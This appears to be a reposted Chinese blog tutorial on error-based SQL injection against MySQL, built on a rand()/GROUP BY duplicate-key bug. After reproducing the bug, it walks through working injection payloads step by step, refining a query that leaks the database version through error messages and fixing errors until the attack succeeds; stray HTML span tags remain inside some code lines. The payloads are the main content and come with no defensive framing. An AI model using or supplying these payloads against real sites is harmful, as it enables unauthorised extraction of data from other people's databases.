网站MYSQL数据库高级爆错注入原分析

这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.

重现过程:
SQL Code复制内容到剪贴板

1. use mysql;   
2. create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);   
3. select left(rand(),3),a from r1 group by 1;   
4. select left(rand(),3),a, count(*) from r1 group by 1;   
5. select round(rand(1),1)  ,a, count(*) from r1 group by 1;  

于是便可以这样拿来爆错注入了。
 
 

复制代码
代码如下:
select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>

 

尝试拿来实战
 
 

复制代码
代码如下:
select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

 

提示错误 选择的列应该为一个。那么。我们换一下

 

复制代码
代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>

 

复制代码
代码如下:
1248 (42000): Every derived table must have its own alias

 

提示多表查询要有别名 那好办
 
 

复制代码
代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

 

或者
 
 

复制代码
代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

 

成功爆粗注入了.